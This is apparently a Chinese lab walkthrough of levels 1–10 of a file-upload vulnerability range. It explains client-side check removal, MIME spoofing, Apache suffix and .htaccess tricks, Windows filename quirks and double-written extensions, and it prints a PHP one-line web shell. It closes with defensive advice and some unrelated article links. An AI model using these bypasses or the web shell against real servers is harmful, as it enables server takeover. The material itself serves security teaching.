文件上传漏洞1

声明:本文中所有操作均在合法合规的靶场环境、虚拟环境中进行。

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

一、文件上传漏洞

上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。

二、upload靶场闯关(1~10关)

Pass-01 JS 前端绕过

1. 源码逻辑

前端通过checkFile()函数做后缀校验,无后端任何校验逻辑,是典型不安全客户端校验。

复制代码
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    //白名单仅允许 .jpg|.png|.gif
    var allow_ext = ".jpg|.png|.gif";
    var ext_name = file.substring(file.lastIndexOf("."));
    //后缀不在白名单直接弹窗拦截、不提交数据包
    if (allow_ext.indexOf(ext_name+"|")==-1) {
        alert("文件类型不合法");
        return false; //终止表单提交
    }
}

表单:<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkFile()">

关键点:校验只在浏览器,数据包没发往服务器,后端直接接收上传文件,前端规则可被任意篡改、绕过。

2.绕过方法

保存当前页面,修改代码如下:

复制代码
function checkFile() {
•        var file = document.getElementsByName('upload_file')[0].value;
•        if (file == null || file == "") {
•            alert("请选择要上传的文件!");
•            return false;
•        }
•        //定义允许上传的文件类型
•        var allow_ext = ".jpg|.png|.gif";
•        //提取上传文件的类型
•        var ext_name = file.substring(file.lastIndexOf("."));
•        //判断上传文件类型是否允许上传
•        if (1 == -1) {
•            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
•            alert(errMsg);
•            return false;
•        }
•    }
复制代码
<form action="http://127.0.0.1/Pass-01/index.php" enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">

上传1.php即可。

Pass-02 文件类型验证

  1. 防护逻辑:后端校验请求头Content-Type字段,仅允许image/png/image/jpeg等图片 MIME。

  2. 绕过思路:BP 抓包修改请求头

    • 正常上传图片时 Content-Type 为image/png

    • 上传 PHP 脚本,BP 拦截数据包,将Content-Type:application/x-www-form-urlencoded修改为image/png,即可绕过类型校验。

  3. payload:<?php eval($_POST[cmd]);?>

Pass-03 黑名单绕过(Apache 多后缀解析漏洞)

  1. 防护逻辑 :后端黑名单拦截.php,禁止直接上传 php 文件。

  2. 漏洞原理 :Apache 服务器默认多后缀解析规则:xxx.php3/xxx.phtml会被当作 PHP 解析。

  3. 利用 :直接上传1.php3,服务器识别为 PHP 脚本执行。

Pass-04 .htaccess 配置文件绕过

  1. 漏洞原理:Apache 读取同目录.htaccess配置文件,自定义文件解析规则。

  2. 利用两步走

    ① 优先上传.htaccess配置文件,内容:

    复制代码
    <FilesMatch "loudong.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    含义:名为 loudong.jpg 的文件,强制用 PHP 解析;

    ② 再上传写入 PHP 一句话的loudong.jpg,访问该 jpg 文件即可执行 PHP 代码。

Pass-05 大小写绕过

  1. 防护缺陷 :黑名单仅过滤小写.php,未做统一小写转换,服务器 Windows 环境文件名大小写不敏感。

  2. 利用 :上传1.PHP / 1.PhP,Windows 系统自动识别为 php 后缀并解析。

Pass-06 末尾空格绕过

  1. 防护缺陷:后端后缀过滤时未去除文件名末尾空格,Windows 自动剔除文件名末尾空格。

  2. 利用 :BP 修改文件名为1.php(php 后加空格),保存时系统自动删掉空格变成1.php

Pass-07 末尾点绕过

  1. 原理 :Windows 系统自动剔除文件名末尾的.,过滤脚本无法识别.php.

  2. 利用 :上传文件名1.php.,系统自动处理为1.php

Pass-08 ::$DATA 数据流绕过

  1. 原理 :Windows NTFS 文件系统中,xxx.php::$DATA会将::$DATA识别为文件流,实际文件名仍为xxx.php

  2. 利用 :上传1.php::$DATA,后端过滤无法匹配 php 后缀,落地文件为1.php

Pass-09 deldot 缺陷绕过

deldot 是什么?

它是一个自定义函数,功能:

从后往前删除文件名末尾所有的点 .

例如:

  • shell.php... → 删掉末尾点 → shell.php

  • shell.php. . → 它只会删点,不会删空格

Pass-10 str_replace 替换函数绕过

  1. 防护逻辑:使用str_replace("php","","文件名"),删除文件名中所有 php 字符;

    函数原型:

    复制代码
    str_replace(find,replace,string,[count])
    • find:待查找字符,replace:替换内容,string:目标字符串
  2. 绕过原理:双写关键字

    • 过滤逻辑删除 php,构造文件名1.pphphp

    • str_replace 删除中间 php 后,剩余字符拼接为1.php

  3. 利用:上传1.pphphp,替换后生成可执行 php 文件。

三、防御方案总结

  1. 白名单限制后缀:只允许 jpg/png/gif 等图片后缀,杜绝黑名单;

  2. 后端双重校验:同时校验 MIME 类型 + 文件头部(文件幻数);

  3. 统一文件名处理:全小写 + 去除首尾空格 / 小数点,过滤::$DATA 等特殊字符;

  4. 文件目录隔离:上传目录禁用 PHP 解析权限,配置 Apache/Nginx 禁止上传目录执行脚本。

相关推荐
kke_883 小时前
电商/教育/工具类小程序,UV分析的3种不同思路
大数据·apache
南山丶无梅落1 天前
XXE漏洞
xml·漏洞·xxe·网安
nvd111 天前
深度解析:Apache Beam YAML 部署至 GCP Dataflow 的架构与最佳实践
架构·apache
27669582922 天前
拼多多m端/小程序 encrypt_info
java·小程序·apache·encrypt_info·encrypt_info解密·拼多多小程序·拼多多m端
ylscode3 天前
Apache CXF LDAP注入漏洞允许攻击者获取任意证书
apache
IT 青年5 天前
从根域名出发的全量资产收集方法论
信息收集·网安
MageGojo5 天前
小程序每日一谜怎么做:riddle 接口接入示例
windows·小程序·apache·谜语
penngo6 天前
FlowLoom:基于 Apache Spark 的可视化数据处理平台
大数据·spark·apache
南山丶无梅落6 天前
CSRF漏洞和SSRF漏洞
网安·pikachu靶场·csrf漏洞·ssrf漏洞·csrftester·yzmcms靶场